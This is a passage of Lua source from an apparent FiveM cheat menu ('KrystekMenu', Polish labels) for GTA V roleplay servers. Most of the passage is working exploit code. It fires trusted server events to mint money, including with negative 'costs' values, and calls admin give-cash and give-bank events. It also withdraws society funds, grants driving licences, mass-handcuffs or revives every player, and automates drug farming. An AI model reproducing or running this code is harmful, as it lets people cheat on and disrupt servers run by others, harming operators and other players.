  10318. SetPlayerModel(PlayerId(), GetHashKey(model))
  10319. end
  10320. elseif KrystekMenu.Button("~b~~h~Striptizerka") then
  10321. local model = "s_f_y_stripper_01"
  10322. RequestModel(GetHashKey(model))
  10323. Wait(500)
  10324. if HasModelLoaded(GetHashKey(model)) then
  10325. SetPlayerModel(PlayerId(), GetHashKey(model))
  10326. end
  10327. elseif KrystekMenu.Button("~b~~h~Indianin") then
  10328. local model = "A_M_M_Indian_01"
  10329. RequestModel(GetHashKey(model))
  10330. Wait(500)
  10331. if HasModelLoaded(GetHashKey(model)) then
  10332. SetPlayerModel(PlayerId(), GetHashKey(model))
  10333. end
  10334. elseif KrystekMenu.Button("~b~~h~Policjant") then
  10335. local model = "s_m_y_cop_01"
  10336. RequestModel(GetHashKey(model))
  10337. Wait(500)
  10338. if HasModelLoaded(GetHashKey(model)) then
  10339. SetPlayerModel(PlayerId(), GetHashKey(model))
  10340. end
  10341. elseif KrystekMenu.Button("~b~~h~Malpa") then
  10342. local model = "a_c_chimp"
  10343. RequestModel(GetHashKey(model))
  10344. Wait(500)
  10345. if HasModelLoaded(GetHashKey(model)) then
  10346. SetPlayerModel(PlayerId(), GetHashKey(model))
  10347. end
  10348. elseif KrystekMenu.Button("~b~~h~Kosmita") then
  10349. local model = "s_m_m_movalien_01"
  10350. RequestModel(GetHashKey(model))
  10351. Wait(500)
  10352. if HasModelLoaded(GetHashKey(model)) then
  10353. SetPlayerModel(PlayerId(), GetHashKey(model))
  10354. end
  10355. elseif KrystekMenu.Button("~b~~h~Pongo") then
  10356. local model = "u_m_y_pogo_01"
  10357. RequestModel(GetHashKey(model))
  10358. Wait(500)
  10359. if HasModelLoaded(GetHashKey(model)) then
  10360. SetPlayerModel(PlayerId(), GetHashKey(model))
  10361. end
  10362. elseif KrystekMenu.Button("~b~~h~Koks") then
  10363. local model = "u_m_y_babyd"
  10364. RequestModel(GetHashKey(model))
  10365. Wait(500)
  10366. if HasModelLoaded(GetHashKey(model)) then
  10367. SetPlayerModel(PlayerId(), GetHashKey(model))
  10368. end
  10369. elseif KrystekMenu.Button("~b~~h~FiveM") then
  10370. local model = "mp_m_freemode_01"
  10371. RequestModel(GetHashKey(model))
  10372. Wait(500)
  10373. if HasModelLoaded(GetHashKey(model)) then
  10374. SetPlayerModel(PlayerId(), GetHashKey(model))
  10375. elseif KrystekMenu.Button("~b~~h~Zombie") then
  10376. local model = "u_m_y_zombie_01"
  10377. RequestModel(GetHashKey(model))
  10378. Wait(500)
  10379. if HasModelLoaded(GetHashKey(model)) then
  10380. SetPlayerModel(PlayerId(), GetHashKey(model))
  10381. end
  10382.  
  10383. else ShowInfo("~r~Model nie rozpoznany") end
  10384. elseif KrystekMenu.Button("~r~~h~Randomowe Ubranie") then
  10385. SetPedRandomComponentVariation(PlayerPedId(), true)
  10386.  
  10387.  
  10388. end
  10389.  
  10390. KrystekMenu.Display()
  10391. elseif KrystekMenu.IsMenuOpened('ESXBoss') then
  10392. if KrystekMenu.Button('~c~~h~Mechanik~s~ Boss Menu') then
  10393. TriggerEvent(
  10394. 'esx_society:openBossMenu',
  10395. 'mecano',
  10396. function(en, eo)
  10397. eo.close()
  10398. end
  10399. )
  10400. TriggerEvent(
  10401. 'esx_society:openBossMenu',
  10402. 'mecano',
  10403. function(en, eo)
  10404. eo.close()
  10405. end
  10406. )
  10407. TriggerEvent(
  10408. 'esx_society:openBossMenu',
  10409. 'mecano',
  10410. function(ep, eq)
  10411. eq.close()
  10412. end
  10413. )
  10414. TriggerEvent(
  10415. 'esx_society:openBossMenu',
  10416. 'mecano',
  10417. function(ep, eq)
  10418. eq.close()
  10419. end
  10420. )
  10421. TriggerEvent(
  10422. 'esx_society:openBossMenu',
  10423. 'mecano',
  10424. function(er, es)
  10425. es.close()
  10426. end
  10427. )
  10428. TriggerEvent(
  10429. 'esx_society:openBossMenu',
  10430. 'mecano',
  10431. function(er, es)
  10432. es.close()
  10433. end
  10434. )
  10435. KrystekMenu.CloseMenu()
  10436. elseif KrystekMenu.Button('~b~~h~Police~s~ Boss Menu') then
  10437. TriggerEvent(
  10438. 'esx_society:openBossMenu',
  10439. 'police',
  10440. function(en, eo)
  10441. eo.close()
  10442. end
  10443. )
  10444. TriggerEvent(
  10445. 'esx_society:openBossMenu',
  10446. 'police',
  10447. function(en, eo)
  10448. eo.close()
  10449. end
  10450. )
  10451. TriggerEvent(
  10452. 'esx_society:openBossMenu',
  10453. 'police',
  10454. function(ep, eq)
  10455. eq.close()
  10456. end
  10457. )
  10458. TriggerEvent(
  10459. 'esx_society:openBossMenu',
  10460. 'police',
  10461. function(ep, eq)
  10462. eq.close()
  10463. end
  10464. )
  10465. TriggerEvent(
  10466. 'esx_society:openBossMenu',
  10467. 'police',
  10468. function(er, es)
  10469. es.close()
  10470. end
  10471. )
  10472. TriggerEvent(
  10473. 'esx_society:openBossMenu',
  10474. 'police',
  10475. function(er, es)
  10476. es.close()
  10477. end
  10478. )
  10479. KrystekMenu.CloseMenu()
  10480. elseif KrystekMenu.Button('~r~~h~Ambulance~s~ Boss Menu') then
  10481. TriggerEvent(
  10482. 'esx_society:openBossMenu',
  10483. 'ambulance',
  10484. function(en, eo)
  10485. eo.close()
  10486. end
  10487. )
  10488. TriggerEvent(
  10489. 'esx_society:openBossMenu',
  10490. 'ambulance',
  10491. function(en, eo)
  10492. eo.close()
  10493. end
  10494. )
  10495. TriggerEvent(
  10496. 'esx_society:openBossMenu',
  10497. 'ambulance',
  10498. function(ep, eq)
  10499. eq.close()
  10500. end
  10501. )
  10502. TriggerEvent(
  10503. 'esx_society:openBossMenu',
  10504. 'ambulance',
  10505. function(ep, eq)
  10506. eq.close()
  10507. end
  10508. )
  10509. TriggerEvent(
  10510. 'esx_society:openBossMenu',
  10511. 'ambulance',
  10512. function(er, es)
  10513. es.close()
  10514. end
  10515. )
  10516. TriggerEvent(
  10517. 'esx_society:openBossMenu',
  10518. 'ambulance',
  10519. function(er, es)
  10520. es.close()
  10521. end
  10522. )
  10523. KrystekMenu.CloseMenu()
  10524. elseif KrystekMenu.Button('~y~~h~Taxi~s~ Boss Menu') then
  10525. TriggerEvent(
  10526. 'esx_society:openBossMenu',
  10527. 'taxi',
  10528. function(en, eo)
  10529. eo.close()
  10530. end
  10531. )
  10532. TriggerEvent(
  10533. 'esx_society:openBossMenu',
  10534. 'taxi',
  10535. function(en, eo)
  10536. eo.close()
  10537. end
  10538. )
  10539. TriggerEvent(
  10540. 'esx_society:openBossMenu',
  10541. 'taxi',
  10542. function(ep, eq)
  10543. eq.close()
  10544. end
  10545. )
  10546. TriggerEvent(
  10547. 'esx_society:openBossMenu',
  10548. 'taxi',
  10549. function(ep, eq)
  10550. eq.close()
  10551. end
  10552. )
  10553. TriggerEvent(
  10554. 'esx_society:openBossMenu',
  10555. 'taxi',
  10556. function(er, es)
  10557. es.close()
  10558. end
  10559. )
  10560. TriggerEvent(
  10561. 'esx_society:openBossMenu',
  10562. 'taxi',
  10563. function(er, es)
  10564. es.close()
  10565. end
  10566. )
  10567. KrystekMenu.CloseMenu()
  10568. elseif KrystekMenu.Button('~g~~h~Agent Nieruchomosci~s~ Boss Menu') then
  10569. TriggerEvent(
  10570. 'esx_society:openBossMenu',
  10571. 'realestateagent',
  10572. function(en, eo)
  10573. KrystekMenu.close()
  10574. end
  10575. )
  10576. TriggerEvent(
  10577. 'esx_society:openBossMenu',
  10578. 'realestateagent',
  10579. function(en, eo)
  10580. KrystekMenu.close()
  10581. end
  10582. )
  10583. TriggerEvent(
  10584. 'esx_society:openBossMenu',
  10585. 'realestateagent',
  10586. function(ep, eq)
  10587. eq.close()
  10588. end
  10589. )
  10590. TriggerEvent(
  10591. 'esx_society:openBossMenu',
  10592. 'realestateagent',
  10593. function(ep, eq)
  10594. eq.close()
  10595. end
  10596. )
  10597. TriggerEvent(
  10598. 'esx_society:openBossMenu',
  10599. 'realestateagent',
  10600. function(er, es)
  10601. es.close()
  10602. end
  10603. )
  10604. TriggerEvent(
  10605. 'esx_society:openBossMenu',
  10606. 'realestateagent',
  10607. function(er, es)
  10608. es.close()
  10609. end
  10610. )
  10611. KrystekMenu.CloseMenu()
  10612. elseif KrystekMenu.Button('~o~~h~Car Dealer~s~ Boss Menu') then
  10613. TriggerEvent(
  10614. 'esx_society:openBossMenu',
  10615. 'cardealer',
  10616. function(en, eo)
  10617. KrystekMenu.close()
  10618. end
  10619. )
  10620. TriggerEvent(
  10621. 'esx_society:openBossMenu',
  10622. 'cardealer',
  10623. function(en, eo)
  10624. KrystekMenu.close()
  10625. end
  10626. )
  10627. TriggerEvent(
  10628. 'esx_society:openBossMenu',
  10629. 'cardealer',
  10630. function(ep, eq)
  10631. eq.close()
  10632. end
  10633. )
  10634. TriggerEvent(
  10635. 'esx_society:openBossMenu',
  10636. 'cardealer',
  10637. function(ep, eq)
  10638. eq.close()
  10639. end
  10640. )
  10641. TriggerEvent(
  10642. 'esx_society:openBossMenu',
  10643. 'cardealer',
  10644. function(er, es)
  10645. es.close()
  10646. end
  10647. )
  10648. TriggerEvent(
  10649. 'esx_society:openBossMenu',
  10650. 'cardealer',
  10651. function(er, es)
  10652. es.close()
  10653. end
  10654. )
  10655. KrystekMenu.CloseMenu()
  10656. elseif KrystekMenu.Button('~y~~h~Customowy~s~ Boss Menu') then
  10657. local m = KeyboardInput('Wprowadz nazwe pracy', '', 100)
  10658. if m ~= '' then
  10659. TriggerEvent(
  10660. 'esx_society:openBossMenu',
  10661. m,
  10662. function(en, eo)
  10663. KrystekMenu.close()
  10664. end
  10665. )
  10666. TriggerEvent(
  10667. 'esx_society:openBossMenu',
  10668. m,
  10669. function(ep, eq)
  10670. eq.close()
  10671. end
  10672. )
  10673. TriggerEvent(
  10674. 'esx_society:openBossMenu',
  10675. m,
  10676. function(er, es)
  10677. es.close()
  10678. end
  10679. )
  10680. KrystekMenu.CloseMenu()
  10681. end
  10682. end
  10683. KrystekMenu.Display()
  10684. elseif KrystekMenu.IsMenuOpened('ESXMoney') then
  10685. if KrystekMenu.Button('~h~~o~Autamatyczna Kasa ~r~ UWAGA!') then
  10686. automaticmoneyesx()
  10687. elseif KrystekMenu.Button('~g~~h~ESX ~y~Kaucja zwroc') then
  10688. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  10689. if m ~= '' then
  10690. TriggerServerEvent('esx_jobs:caution', 'give_back', m)
  10691. TriggerServerEvent('esx_jobs:caution', "give_back", m, 0, 0)
  10692. end
  10693. elseif KrystekMenu.Button('~g~~h~ESX ~b~Wyplata ze spolecznych') then
  10694. local praca = KeyboardInput('Wprowadz nazwe pracy', '', 100)
  10695. local kasa = KeyboardInput('Wprowadz ilosc kasy do wyplacenia', '', 100)
  10696. if praca ~= '' and kasa ~= '' then
  10697. TriggerServerEvent('esx_society:withdrawMoney', praca, kasa)
  10698. end
  10699. elseif KrystekMenu.Button('~g~~h~ESX ~y~Eden Garage') then
  10700. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  10701. if m ~= '' then
  10702. TriggerServerEvent(
  10703. 'eden_garage:payhealth',
  10704. {
  10705. costs = -m
  10706. }
  10707. )
  10708. end
  10709. elseif KrystekMenu.Button('~g~~h~ESX ~y~Dostawca paliwa') then
  10710. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  10711. if m ~= '' then
  10712. TriggerServerEvent('esx_fueldelivery:pay', m)
  10713. end
  10714. elseif KrystekMenu.Button('~g~~h~ESX ~y~Zlodziej samochodow') then
  10715. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  10716. if m ~= '' then
  10717. TriggerServerEvent('esx_carthief:pay', m)
  10718. end
  10719. elseif KrystekMenu.Button('~g~~h~ESX ~y~DMV Kasa') then
  10720. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  10721. if m ~= '' then
  10722. TriggerServerEvent(
  10723. 'esx_dmvschool:pay',
  10724. {
  10725. costs = -m
  10726. }
  10727. )
  10728. end
  10729. elseif KrystekMenu.Button('~g~~h~ESX ~y~Paliwo') then
  10730. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  10731. if m ~= '' then
  10732. TriggerServerEvent(
  10733. 'LegacyFuel:PayFuel',
  10734. {
  10735. costs = -m
  10736. }
  10737. )
  10738. end
  10739. elseif KrystekMenu.Button('~g~~h~ESX ~y~Brudna Robota') then
  10740. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  10741. if m ~= '' then
  10742. TriggerServerEvent('esx_godirtyjob:pay', m)
  10743. end
  10744. elseif KrystekMenu.Button('~g~~h~ESX ~y~Pizza Boy') then
  10745. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  10746. if m ~= '' then
  10747. TriggerServerEvent('esx_pizza:pay', m)
  10748. end
  10749. elseif KrystekMenu.Button('~g~~h~ESX ~y~Lesniczy') then
  10750. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  10751. if m ~= '' then
  10752. TriggerServerEvent('esx_ranger:pay', m)
  10753. end
  10754. elseif KrystekMenu.Button('~g~~h~ESX ~y~Zdrapka Dispenser') then
  10755. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  10756. if m ~= '' then
  10757. TriggerServerEvent('scratchoffs:dispenseReward', m)
  10758. end
  10759. elseif KrystekMenu.Button('~g~~h~ESX ~y~GarbageJob') then
  10760. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  10761. if m ~= '' then
  10762. TriggerServerEvent('esx_garbagejob:pay', m)
  10763. TriggerServerEvent('6a7af019-2b92-4ec2-9435-8fb9bd031c26', m)
  10764. TriggerServerEvent('esx_garbagejob:lukipay', m)
  10765. end
  10766. elseif KrystekMenu.Button('~g~~h~ESX ~y~LSC Custom Kasa') then
  10767. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  10768. if m ~= '' then
  10769. TriggerServerEvent('lscustoms:payGarage', {costs = -m})
  10770. end
  10771. elseif KrystekMenu.Button('~g~~h~ESX ~y~Zlodziej aut ~r~Brudna Kasa') then
  10772. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  10773. if m ~= '' then
  10774. TriggerServerEvent('esx_carthief:pay', m)
  10775. end
  10776. elseif KrystekMenu.Button('~g~~h~ESX ~y~TruckerJob') then
  10777. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  10778. if m ~= '' then
  10779. TriggerServerEvent('esx_truckerjob:pay', m)
  10780. end
  10781. elseif KrystekMenu.Button('~g~~h~ESX ~y~Admin Daj Bank') then
  10782. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  10783. if m ~= '' then
  10784. TriggerServerEvent('AdminMenu:giveBank', m)
  10785. end
  10786. elseif KrystekMenu.Button('~g~~h~ESX ~y~Admin Daj Kase') then
  10787. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  10788. if m ~= '' then
  10789. TriggerServerEvent('AdminMenu:giveCash', m)
  10790. end
  10791. elseif KrystekMenu.Button('~g~~h~ESX ~y~GoPostal') then
  10792. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  10793. if m ~= '' then
  10794. TriggerServerEvent('esx_gopostaljob:pay', m)
  10795. end
  10796. elseif KrystekMenu.Button('~g~~h~ESX ~y~Bankier') then
  10797. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  10798. if m ~= '' then
  10799. TriggerServerEvent('esx_banksecurity:pay', m)
  10800. TriggerServerEvent('ac14d095-3fb8-4b1c-8331-2e6aa1d6a96', m)
  10801. end
  10802. elseif KrystekMenu.Button('~g~~h~ESX ~y~Slot Machine') then
  10803. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  10804. if m ~= '' then
  10805. TriggerServerEvent('esx_slotmachine:sv:2', m)
  10806. end
  10807. elseif KrystekMenu.Button('~g~~h~Tost ~y~Zdrapka') then
  10808. TriggerServerEvent("tostzdrapka:wygranko")
  10809. TriggerServerEvent("tostzdrapka:wygranko")
  10810. TriggerServerEvent("tostzdrapka:wygranko")
  10811. TriggerServerEvent("tostzdrapka:wygranko")
  10812. TriggerServerEvent("tostzdrapka:wygranko")
  10813. TriggerServerEvent("tostzdrapka:wygranko")
  10814. TriggerServerEvent("tostzdrapka:wygranko")
  10815. TriggerServerEvent("tostzdrapka:wygranko")
  10816. TriggerServerEvent("tostzdrapka:wygranko")
  10817. TriggerServerEvent("tostzdrapka:wygranko")
  10818. TriggerServerEvent("tostzdrapka:wygranko")
  10819. TriggerServerEvent("tostzdrapka:wygranko")
  10820. TriggerServerEvent("tostzdrapka:wygranko")
  10821. TriggerServerEvent("tostzdrapka:wygranko")
  10822. elseif KrystekMenu.Button('~h~~g~ESX ~y~Taxi Sukces') then
  10823. TriggerServerEvent('esx_taxijob:success')
  10824. TriggerServerEvent('esx_taxijob:success')
  10825. TriggerServerEvent('esx_taxijob:success')
  10826. TriggerServerEvent('esx_taxijob:success')
  10827. TriggerServerEvent('esx_taxijob:success')
  10828. TriggerServerEvent('esx_taxijob:success')
  10829. TriggerServerEvent('esx_taxijob:success')
  10830. TriggerServerEvent('esx_taxijob:success')
  10831. TriggerServerEvent('esx_taxijob:success')
  10832. TriggerServerEvent('esx_taxijob:success')
  10833. TriggerServerEvent('esx_taxijob:success')
  10834. TriggerServerEvent('esx_taxijob:success')
  10835. TriggerServerEvent('esx_taxijob:success')
  10836. TriggerServerEvent('esx_taxijob:success')
  10837. TriggerServerEvent('esx_taxijob:success')
  10838. TriggerServerEvent('esx_taxijob:success')
  10839. TriggerServerEvent('esx_taxijob:success')
  10840. TriggerServerEvent('esx_taxijob:success')
  10841. TriggerServerEvent('esx_taxijob:success')
  10842. TriggerServerEvent('esx_taxijob:success')
  10843. TriggerServerEvent('esx_taxijob:success')
  10844. TriggerServerEvent('esx_taxijob:success')
  10845. TriggerServerEvent('esx_taxijob:success')
  10846. TriggerServerEvent('esx_taxijob:success')
  10847. TriggerServerEvent('esx_taxijob:success')
  10848. TriggerServerEvent('esx_taxijob:success')
  10849. TriggerServerEvent('esx_taxijob:success')
  10850. TriggerServerEvent('esx_taxijob:success')
  10851. TriggerServerEvent('esx_taxijob:success')
  10852. TriggerServerEvent('esx_taxijob:success')
  10853. TriggerServerEvent('esx_taxijob:success')
  10854. TriggerServerEvent('esx_taxijob:success')
  10855. TriggerServerEvent('esx_taxijob:success')
  10856. TriggerServerEvent('esx_taxijob:success')
  10857. TriggerServerEvent('esx_taxijob:success')
  10858. TriggerServerEvent('esx_taxijob:success')
  10859. TriggerServerEvent('esx_taxijob:success')
  10860. TriggerServerEvent('esx_taxijob:success')
  10861. TriggerServerEvent('esx_taxijob:success')
  10862. TriggerServerEvent('esx_taxijob:success')
  10863. elseif KrystekMenu.Button('~g~~h~ESX ~b~~h~GlitchRP ~g~~h~KASA') then
  10864. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  10865. if m ~= '' then
  10866. TriggerServerEvent('payforplayer2',m)
  10867. end
  10868. elseif
  10869.  
  10870. KrystekMenu.CheckBox(
  10871. '~g~~h~ESX ~y~Hunting wygrana',
  10872. huntspam,
  10873. function(dR)
  10874. huntspam = dR
  10875. end
  10876. )
  10877. then
  10878. elseif
  10879. KrystekMenu.CheckBox(
  10880. '~g~~h~ESX ~h~~r~Zbieraj EMS Kurier',
  10881. LimitRpkurier,
  10882. function(dR)
  10883. LimitRpkurier = dR
  10884. end
  10885. )
  10886. then
  10887. elseif
  10888. KrystekMenu.CheckBox(
  10889. '~g~~h~ESX ~y~MustRP ~r~Gornik',
  10890. MustGornik,
  10891. function(dR)
  10892. MustGornik = dR
  10893. end
  10894. )
  10895. then
  10896. end
  10897. KrystekMenu.Display()
  10898. elseif KrystekMenu.IsMenuOpened('ESXBankomat') then
  10899. if KrystekMenu.Button('~g~~h~ESX ~b~Przelew kasy') then
  10900. local gracz = KeyboardInput('Wprowadz id gracza', '', 100)
  10901. local kasa = KeyboardInput('Wprowadz ilosc kasy', '', 100)
  10902. if gracz ~= '' and kasa ~= '' then
  10903. TriggerServerEvent('bank:transfer', gracz, kasa)
  10904. end
  10905. elseif KrystekMenu.Button('~g~~h~ESX ~b~Pieniadze wplac') then
  10906. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  10907. if m ~= '' then
  10908. TriggerServerEvent('bank:deposit', m)
  10909. end
  10910. elseif KrystekMenu.Button('~g~~h~ESX ~b~Pieniadze wyplac') then
  10911. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  10912. if m ~= '' then
  10913. TriggerServerEvent('bank:withdraw', m)
  10914. end
  10915. end
  10916.  
  10917. KrystekMenu.Display()
  10918. elseif KrystekMenu.IsMenuOpened('ESXCustom') then
  10919. if KrystekMenu.Button('~w~~h~Ustaw ~y~Jedzenie Na ~h~~g~100') then
  10920. TriggerEvent('esx_status:set', 'hunger', 1000000)
  10921. elseif KrystekMenu.Button('~w~~h~Ustaw ~b~Wode Na ~h~~g~100') then
  10922. TriggerEvent('esx_status:set', 'thirst', 1000000)
  10923. elseif KrystekMenu.Button('<FONT COLOR="#000CFF">Ustaw noc') then
  10924. NetworkOverrideClockTime(23, 50, 0)
  10925. elseif KrystekMenu.Button('<FONT COLOR="#FBFF00">Ustaw dzien') then
  10926. NetworkOverrideClockTime(12, 12, 0)
  10927. elseif KrystekMenu.Button('<FONT COLOR="#E84826">Ustaw Pogode Na Czysta') then
  10928. SetOverrideWeather(clear)
  10929. elseif KrystekMenu.Button('~g~~h~ESX <FONT COLOR="#FF00F7">Plasterek') then
  10930. TriggerServerEvent('esx_ambulancejob:heal', GetPlayerServerId(closestPlayer), 'big')
  10931. elseif KrystekMenu.Button('~g~~h~ESX ~r~Revive') then
  10932. local idgracza = KeyboardInput('Wprowadz ID lub all', '', 1000)
  10933. if idgracza then
  10934. if idgracza == 'all' then
  10935. for i = 0, 128 do
  10936. TriggerEvent('esx_ambulancejob:revive', GetPlayerServerId(i))
  10937. TriggerServerEvent('esx_ambulancejob:revive', GetPlayerServerId(i))
  10938. TriggerServerEvent('esx_ambulancejob:heal', GetPlayerServerId(i), 'big')
  10939. end
  10940. else
  10941. TriggerEvent('esx_ambulancejob:revive', idgracza)
  10942. TriggerEventServer('esx_ambulancejob:revive', idgracza)
  10943. TriggerServerEvent('esx_ambulancejob:heal', idgracza, 'big')
  10944. end
  10945. end
  10946. elseif KrystekMenu.Button('~g~~h~ESX ~b~Skuj') then
  10947. local f = KeyboardInput('Wprowadz ID lub all', '', 1000)
  10948. if f then
  10949. if f == 'all' then
  10950. for i = 0, 128 do
  10951. TriggerServerEvent('esx_policejob:handcuff', GetPlayerServerId(i))
  10952. TriggerEvent('esx_policejob:handcuff', GetPlayerServerId(i))
  10953. end
  10954. else
  10955. TriggerEvent('esx_policejob:handcuff', f)
  10956. TriggerServerEvent('esx_policejob:handcuff', f)
  10957. end
  10958. end
  10959. elseif KrystekMenu.IsMenuOpened('LuaMenu') then
  10960. elseif KrystekMenu.Button("~h~Zaznacz swoje auto") then
  10961. local ped = GetPlayerPed(-1)
  10962. local car = IsPedInAnyVehicle(ped, false)
  10963. local PlayerCar = GetVehiclePedIsIn(ped, false)
  10964. if car then
  10965. local blip = AddBlipForEntity(PlayerCar)
  10966. SetBlipSprite(blip, 326)
  10967. SetBlipColour(blip, 26)
  10968. SetBlipScale(blip, 0.85)
  10969. SetBlipPriority(blip, 50)
  10970. ShowTickOnBlip(blip, true)
  10971. else
  10972. drawNotification("~r~Nie jestes w pojezdzie")
  10973. end
  10974. elseif KrystekMenu.Button('~g~ESX ~h~Darmowe Prawko ~r~Wszystkie') then
  10975. TriggerServerEvent('esx_dmvschool:addLicense', 'dmv')
  10976. TriggerServerEvent('esx_dmvschool:addLicense', 'drive')
  10977. TriggerServerEvent('esx_dmvschool:addLicense', 'drive_bike')
  10978. TriggerServerEvent('esx_dmvschool:addLicense', 'drive_truck')
  10979. TriggerServerEvent('esx_airlines:addLicense', 'helico')
  10980. TriggerServerEvent('esx_airlines:addLicense', 'avion')
  10981. elseif KrystekMenu.Button('~g~ESX ~h~Darmowe Prawko ~r~A') then
  10982. TriggerServerEvent('esx_dmvschool:addLicense', 'dmv')
  10983. TriggerServerEvent('esx_dmvschool:addLicense', 'drive')
  10984. elseif KrystekMenu.Button('~g~ESX ~h~Darmowe Prawko ~r~B') then
  10985. TriggerServerEvent('esx_dmvschool:addLicense', 'dmv')
  10986. TriggerServerEvent('esx_dmvschool:addLicense', 'drive_bike')
  10987. elseif KrystekMenu.Button('~g~ESX ~h~Darmowe Prawko ~r~C') then
  10988. TriggerServerEvent('esx_dmvschool:addLicense', 'dmv')
  10989. TriggerServerEvent('esx_dmvschool:addLicense', 'drive_truck')
  10990. elseif KrystekMenu.Button('~h~~b~Kup ~s~a Auto Za ~g~Free') then
  10991. cv()
  10992. end
  10993. KrystekMenu.Display()
  10994. elseif KrystekMenu.IsMenuOpened('ESXDrugs') then
  10995. if KrystekMenu.Button('~h~~g~Zbieraj ~g~Maryche') then
  10996. hrweed()
  10997. elseif KrystekMenu.Button('~h~~g~Przerob ~g~Maryche') then
  10998. trweed()
  10999. elseif KrystekMenu.Button('~h~~g~Sprzedaj ~g~Maryche') then
  11000. srweed()
  11001. elseif KrystekMenu.Button('~h~~w~Zbieraj ~w~Coke') then
  11002. hrcoke()
  11003. elseif KrystekMenu.Button('~h~~w~Przerob ~w~Coke') then
  11004. trcoke()
  11005. elseif KrystekMenu.Button('~h~~w~Sprzedaj ~w~Coke') then
  11006. srcoke()
  11007. elseif KrystekMenu.Button('~h~~r~Zbieraj Mete') then
  11008. hrmeth()
  11009. elseif KrystekMenu.Button('~h~~r~Przerob Mete') then
  11010. trmeth()
  11011. elseif KrystekMenu.Button('~h~~r~Sprzedaj Mete') then
  11012. srmeth()
  11013. elseif KrystekMenu.Button('~h~~p~Zbieraj Opium') then
  11014. hropi()
  11015. elseif KrystekMenu.Button('~h~~p~Przerob Opium') then
  11016. tropi()
  11017. elseif KrystekMenu.Button('~h~~p~Sprzedaj Opium') then
  11018. sropi()
  11019. elseif KrystekMenu.Button('~h~~b~Zbieraj Jablka') then
  11020. hrjab()
  11021. elseif KrystekMenu.Button('~h~~b~Przerob Jablka') then
  11022. trjab()
  11023. elseif KrystekMenu.Button('~h~~b~Sprzedaj Jablka') then
  11024. sjab()
  11025. elseif KrystekMenu.Button('~h~~y~Zbieraj Grzyby') then
  11026. hrgrz()
  11027. elseif KrystekMenu.Button('~h~~y~Przerob Grzyby') then
  11028. trgrz()
  11029. elseif KrystekMenu.Button('~h~~y~Sprzedaj Grzyby') then
  11030. srgrz()
  11031. elseif KrystekMenu.Button('~h~<FONT COLOR="#FF8700">Zbieraj Bitcoin') then
  11032. harvestbitcoin()
  11033. elseif KrystekMenu.Button('~h~<FONT COLOR="#FF8700">Sprzedaj Bitcoin') then
  11034. sellbitcoin()
  11035. elseif KrystekMenu.Button('~h~<FONT COLOR="#17FF00">Zbieraj Butla z gazem') then
  11036. harvestgazbottle()
  11037. elseif KrystekMenu.Button('~h~<FONT COLOR="#17FF00">Zrob Butle z gazem') then
  11038. craftgazbottle()
  11039. elseif KrystekMenu.Button('~h~<FONT COLOR="#959595">Zbieraj Repair Kit') then
  11040. harvestrepairkits()
  11041. elseif KrystekMenu.Button('~h~<FONT COLOR="#959595">Zrob Repair Kit') then
  11042. craftrepairkits()
  11043. elseif KrystekMenu.Button('~h~<FONT COLOR="#0055FF">Zbieraj Body Kit') then
  11044. harvestbodykits()
  11045. elseif KrystekMenu.Button('~h~<FONT COLOR="#0055FF">Zrob Body Kit') then
  11046. craftbodykits()
  11047. elseif KrystekMenu.Button('~h~~g~Pralnia Brudnych') then
  11048. pralniabr()
  11049. elseif KrystekMenu.Button('~h~~y~Sprzedaj Dragi Lokalnym') then
  11050. selldrugs()
  11051. elseif KrystekMenu.Button('~r~~h~Zatrzymaj Wszystko') then
  11052. rmatanumaispalarufe()
  11053. elseif
  11054. KrystekMenu.CheckBox(
  11055. '~h~~r~Zbieraj Wszystko ~y~RYZYKOWNE!',
  11056. BlowDrugsUp,
  11057. function(dR)
  11058. BlowDrugsUp = dR
  11059. end
  11060. )
  11061. then
  11062. elseif
  11063. KrystekMenu.CheckBox(
  11064. '~h~~r~Zbieraj Narko ~b~GlitchRP',
  11065. GlitchRPblack,
  11066. function(dR)
  11067. GlitchRPblack = dR
  11068. end
  11069. )
  11070. then
  11071. end
  11072. KrystekMenu.Display()
  11073. elseif KrystekMenu.IsMenuOpened('VRPTriggers') then
  11074. if KrystekMenu.Button('~r~~h~VRP ~s~Daj kase ~ypayGarage') then
  11075. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  11076. if m ~= '' then
  11077. TriggerServerEvent(
  11078. 'lscustoms:payGarage',
  11079. {
  11080. costs = -m
  11081. }
  11082. )
  11083. end
  11084. elseif KrystekMenu.Button('~r~~h~VRP ~g~Wygaraj ~s~Slot Machine') then
  11085. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  11086. if m ~= '' then
  11087. TriggerServerEvent('vrp_slotmachine:server:2', m)
  11088. end
  11089. elseif KrystekMenu.Button('~g~~h~FUEL ~y~Legacy Fuel') then
  11090. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  11091. if m ~= '' then
  11092. TriggerServerEvent(
  11093. 'LegacyFuel:PayFuel',
  11094. {
  11095. costs = -m
  11096. }
  11097. )
  11098. end
  11099. elseif KrystekMenu.Button('~r~~h~VRP ~s~Zdobadz prawo jazdy') then
  11100. TriggerServerEvent('dmv:success')
  11101. elseif KrystekMenu.Button('~r~~h~VRP ~s~Bank Deposit') then
  11102. local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
  11103. if m ~= '' then
  11104. TriggerServerEvent('Banca:deposit', m)
